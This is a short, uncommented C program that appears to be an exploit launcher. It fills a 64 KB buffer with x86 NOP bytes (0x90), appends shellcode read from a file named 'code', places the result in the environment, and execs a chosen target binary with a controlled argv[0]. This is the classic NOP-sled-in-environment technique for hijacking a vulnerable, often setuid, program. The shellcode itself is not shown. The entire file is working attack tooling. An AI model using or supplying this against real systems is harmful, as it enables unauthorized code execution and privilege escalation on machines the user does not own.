#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv)
{
	if (argc != 3)
	{
		printf("%s <target> <argv0>\n", argv[0]);
		return -1;
	}

	FILE *fin = fopen("code", "r");
	const int CODE_LEN_BASE = 0xffff,
		  CODE_LEN = 1024;
	char *code = malloc(CODE_LEN_BASE + CODE_LEN);
	memset(code, 0x90, CODE_LEN_BASE);
	fread(code + CODE_LEN_BASE, 1, CODE_LEN, fin);
	fclose(fin);
	char *arg[] = {argv[2], NULL},
		 *env[] = {code, NULL};
	printf("code len=%d\n", strlen(code));
	execve(argv[1], arg, env);
	return -1;
}

